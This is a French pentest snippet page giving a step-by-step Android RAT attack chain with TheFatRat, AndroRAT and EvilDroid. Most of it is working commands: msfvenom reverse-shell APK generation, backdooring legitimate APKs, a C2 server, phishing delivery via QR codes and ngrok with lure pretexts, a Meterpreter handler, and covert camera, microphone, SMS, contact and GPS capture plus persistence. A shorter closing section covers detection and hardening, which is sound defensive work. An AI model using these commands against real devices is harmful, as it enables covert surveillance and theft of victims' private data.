MDstable
NoteSnippetChecklistPlaybook

Android RAT — TheFatRat / AndroRAT / EvilDroid

Génération de backdoors Android, chaîne d'attaque complète et contre-mesures : TheFatRat, AndroRAT, EvilDroid, détection et hardening mobile

snippetadvanced 2026-05-14 8 min read
androidratthefatratandroratevildroidapkbackdoormobilepentestblue-team

Vue d'ensemble

Attaquant Victime Android
TheFatRat/msfvenom APK malveillant install
gnre APK backdooris social engineering
lance un handler MSF
connexion reverse TCP/HTTP
accs camra micro GPS
SMS contacts shell

Trois outils couvrent cette chaîne :

  • TheFatRat : génération de backdoors multi-plateformes (Windows, Linux, Android) avec listener intégré
  • AndroRAT : RAT Android pur — bind sur APK légitime ou standalone
  • EvilDroid : framework Android centré sur la création d'APK malveillants et l'exploitation de vulnérabilités ADB

Phase 1 — Préparation de l'environnement

bash
# Installer TheFatRat
git clone https//github.com/Screetsec/TheFatRat
cd TheFatRat
chmod x setupsh && bash setupsh
# Dépendances communes
apt install metasploit-framework apktool android-tools-adb default-jdk -y
# Vérifier msfvenom disponible
msfvenom --version
bash
# Installer AndroRAT (nécessite Java + Android SDK)
git clone https//github.com/karma9874/AndroRAT
cd AndroRAT
pip3 install -r requirementstxt

Phase 2 — Génération du payload Android

TheFatRat — APK backdoor standalone

bash
Variables
{{LHOST}}
{{LPORT}}
{{APK_NAME}}
# Lancer TheFatRat (menu interactif)
/fatrat
# Option dans le menu :
# [1] Create Backdoor
# [9] Android — backdoor APK
# Saisir :
# LHOST : {{LHOST}}
# LPORT : {{LPORT}}
# Nom du fichier : {{APK_NAME}}.apk
bash
Variables
{{LHOST}}
{{LPORT}}
{{APK_NAME}}
# Alternative directe via msfvenom (sans menu)
msfvenom -p android/meterpreter/reverse_tcp
LHOST{{LHOST}} LPORT{{LPORT}}
-o /tmp/{{APK_NAME}}apk
# Ou reverse HTTP (passe mieux les pare-feux)
msfvenom -p android/meterpreter/reverse_http
LHOST{{LHOST}} LPORT80
-o /tmp/{{APK_NAME}}apk

TheFatRat — Backdoor injectée dans un APK légitime

bash
Variables
{{LEGIT_APK}}
{{LHOST}}
{{LPORT}}
{{OUTPUT_APK}}
# Option dans TheFatRat :
# [1] Create Backdoor → [11] Inject into existing APK
# APK légitime source : {{LEGIT_APK}}.apk
# Résultat : APK d'apparence identique + backdoor persistante
# Ou via msfvenom directement :
msfvenom -p android/meterpreter/reverse_tcp
LHOST{{LHOST}} LPORT{{LPORT}}
-x {{LEGIT_APK}}apk
-o {{OUTPUT_APK}}apk

AndroRAT — RAT Android avec interface web

bash
Variables
{{LHOST}}
{{LPORT}}
{{APP_DISPLAY_NAME}}
{{OUTPUT_APK}}
{{WEB_PORT}}
cd AndroRAT
python3 androratpy --build
--host {{LHOST}}
--port {{LPORT}}
--name "{{APP_DISPLAY_NAME}}"
--icon /path/to/icon.png
--output {{OUTPUT_APK}}apk
# Lancer le serveur C2 AndroRAT
python3 androratpy --start --port {{LPORT}}
# Interface web disponible sur http://{{LHOST}}:{{WEB_PORT}}

EvilDroid — Génération et binding APK

bash
Variables
{{LHOST}}
{{LPORT}}
# EvilDroid (interface CLI)
python3 evildroidpy
# Sélectionner :
# [1] Generate Payload → Android Meterpreter
# [2] Bind with original APK (chemin vers APK légitime)
# LHOST : {{LHOST}}
# LPORT : {{LPORT}}
# Résigne l'APK automatiquement avec un certificat auto-signé
# → Contourne la vérification de signature Android de base

Phase 3 — Livraison (Social Engineering)

bash
Variables
{{LHOST}}
{{APK_NAME}}
# Servir l'APK via HTTP local
python3 -m httpserver 8080 --directory /tmp/
# URL : http://{{LHOST}}:8080/{{APK_NAME}}.apk
# Phishing QR code pointant vers l'APK
qrencode -o qrpng "http://{{LHOST}}:8080/{{APK_NAME}}.apk"
# Ou via Ngrok pour exposer sur internet (lab uniquement)
ngrok http 8080
# → URL publique HTTPS à envoyer à la cible

Prétextes courants utilisés pour forcer l'installation :

  • "Mise à jour obligatoire de l'application X"
  • "Application interne de l'entreprise — APK à installer manuellement"
  • "Application de suivi COVID / badge d'accès"

La victime doit activer "Sources inconnues" (Android < 8) ou autoriser l'installation depuis le navigateur (Android 8+).


Phase 4 — Listener et prise de contrôle

Listener Metasploit (TheFatRat / msfvenom)

bash
Variables
{{LHOST}}
{{LPORT}}
msfconsole -q
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST {{LHOST}}
set LPORT {{LPORT}}
set ExitOnSession false
exploit -j # -j = job en arrière-plan, accepte plusieurs sessions

Post-exploitation Meterpreter Android

bash
Variables
{{SESSION_ID}}
{{FILE}}
# Lister les sessions actives
sessions -l
# Interagir avec une session
sessions -i {{SESSION_ID}}
# ─── Géolocalisation ───
geolocate # GPS + réseau
# ─── Caméra ───
webcam_list # lister les caméras
webcam_snap -i 1 # photo caméra arrière
webcam_stream -i 2 # flux live caméra avant
# ─── Micro ───
record_mic -d 30 # enregistrement audio 30s
# ─── SMS / Contacts ───
dump_sms # tous les SMS
dump_contacts # carnet d'adresses complet
# ─── Fichiers ───
ls /sdcard/DCIM/ # photos
download /sdcard/DCIM/{{FILE}} # télécharger un fichier
# ─── Shell ───
shell # shell Android (root si appareil rooté)
id # droits actuels

Post-exploitation AndroRAT (interface web)

Variables
{{LHOST}}
{{WEB_PORT}}
http//{{LHOST}}{{WEB_PORT}}
Slectionner lappareil connect
Commandes disponibles
Localisation GPS temps rel
Photo vido micro
SMS envoi lecture
Appels entrants/sortants
Clipboard
Fichiers browse upload download
Notifications systme

Phase 5 — Persistance

bash
# Dans le shell Meterpreter Android
# Relancer le payload au démarrage de l'appareil
run post/android/manage/schedule_task
# Vérifier les permissions de l'APK (doit inclure RECEIVE_BOOT_COMPLETED)
run post/android/gather/app_list
# Wakelock — empêche la mise en veille qui coupe la session
run android/meterpreter/wakelock
bash
Variables
{{BACKDOOR_APK}}
{{PACKAGE}}
{{ACTIVITY}}
# Persistance via ADB (si débogage USB activé sur l'appareil)
adb devices # lister les appareils connectés
adb install {{BACKDOOR_APK}}apk # installer silencieusement
adb shell pm list packages # vérifier l'installation
adb shell am start -n {{PACKAGE}}{{ACTIVITY}} # forcer le lancement

Défense — Détection des APK malveillants

bash
Variables
{{SUSPECT_APK}}
# Analyser un APK suspect avec apktool (décompile le bytecode)
apktool d {{SUSPECT_APK}}apk -o /tmp/apk_decoded/
# Chercher des permissions suspectes dans AndroidManifest.xml
grep -E "RECORD_AUDIO|CAMERA|READ_SMS|ACCESS_FINE_LOCATION|RECEIVE_BOOT"
/tmp/apk_decoded/AndroidManifest.xml
# Chercher des IPs / domaines codés en dur
grep -rE "([0-9]{1,3}\.){3}[0-9]{1,3}" /tmp/apk_decoded/smali/
# Analyser avec MobSF (Mobile Security Framework)
docker run -it --rm -p 80008000 opensecurity/mobile-security-framework-mobsflatest
# → Uploader l'APK sur http://localhost:8000
# → Rapport statique + dynamique complet
bash
Variables
{{SUSPECT_APK}}
# Vérifier la signature d'un APK
apksigner verify --print-certs {{SUSPECT_APK}}apk
# Signature auto-signée = APK non officiel → suspect
# Vérifier les certificats (un APK légitime a un cert de l'éditeur)
keytool -printcert -jarfile {{SUSPECT_APK}}apk

Défense — Détection réseau

bash
Variables
{{INTERFACE}}
{{MOBILE_IP}}
# Sur le réseau : détecter les connexions reverse TCP/HTTP depuis Android
# Ports courants des RAT : 4444 (MSF default), 8080, 9999, 443
# Wireshark / tcpdump — filtrer les connexions suspectes depuis mobiles
tcpdump -i {{INTERFACE}} -w mobile_trafficpcap host {{MOBILE_IP}}
# Chercher les connexions TCP persistantes vers des IPs non répertoriées
# Signature : connexion longue durée, faible volume, periodic beacon
# Sur le mobile (si accès ADB) — lister les connexions actives
adb shell netstat -antp | grep ESTABLISHED
adb shell ss -tulnp

Règle Suricata/Snort — détection Meterpreter Android

# Détection Meterpreter reverse_tcp sur port non standard
alert tcp $HOME_NET any > $EXTERNAL_NET 443
msg"Possible Android Meterpreter reverse_tcp";
flowestablishedto_server;
content"|00 01 00 01|";
threshold type both track by_src count 5 seconds 60;
sid9000001; rev1;

Défense — Hardening Android

Paramtres Scurit
Sources inconnues DSACTIV ne jamais activer sauf sideload volontaire
Vrification des applications Google Play Protect ACTIV
Dbogage USB DSACTIV activer uniquement en dev
Mode dveloppeur DSACTIV
Paramtres Applications Permissions
Rvoquer RECORD_AUDIO CAMERA ACCESS_FINE_LOCATION sur les apps non ncessaires
Vrifier les apps avec permission RECEIVE_BOOT_COMPLETED persistance
Paramtres Rseau
VPN actif sur rseaux non matriss
DNS over HTTPS activ Android 9 DNS priv
bash
# MDM / EMM — politique de sécurité enterprise (ex: Microsoft Intune)
# Bloquer l'installation d'APK hors Play Store
# Enforcer le chiffrement complet du stockage
# Wipe à distance si appareil compromis
# Google Play Protect — vérification manuelle
# Paramètres → Sécurité → Google Play Protect → Analyser maintenant

Checklist défensive — Mobile

Checklist0/10

Référence — Permissions Android à risque

| Permission | Usage légitime | Abus RAT | |---|---|---| | RECORD_AUDIO | Enregistreur vocal, appels | Écoute micro permanente | | CAMERA | Appareil photo | Photo/vidéo silencieuse | | ACCESS_FINE_LOCATION | Maps, navigation | Géolocalisation temps réel | | READ_SMS / RECEIVE_SMS | Authenticators 2FA | Vol OTP, SMS banking | | READ_CONTACTS | Apps messagerie | Exfiltration carnet | | RECEIVE_BOOT_COMPLETED | Alarmes, sync | Persistance au démarrage | | PROCESS_OUTGOING_CALLS | Enregistreurs d'appels | Écoute des appels |

⚠ Attention —

Ces outils génèrent des APK détectés par la majorité des antivirus mobiles et Google Play Protect. Sur un appareil Android à jour avec Play Protect actif, l'installation est bloquée ou signalée. L'efficacité réelle dépend entièrement de l'ingénierie sociale pour convaincre la victime de désactiver les protections.

💡 Tip —

Pour un pentest Android autorisé, préférer drozer (audit d'app) et frida (hooking dynamique) à un RAT brut. Les RAT type TheFatRat sont utiles pour démontrer le vecteur à un client, mais drozer + MobSF donnent une analyse de surface d'attaque bien plus exploitable dans un rapport professionnel.

OPS·BRAIN v1.075 notes · Securitylocal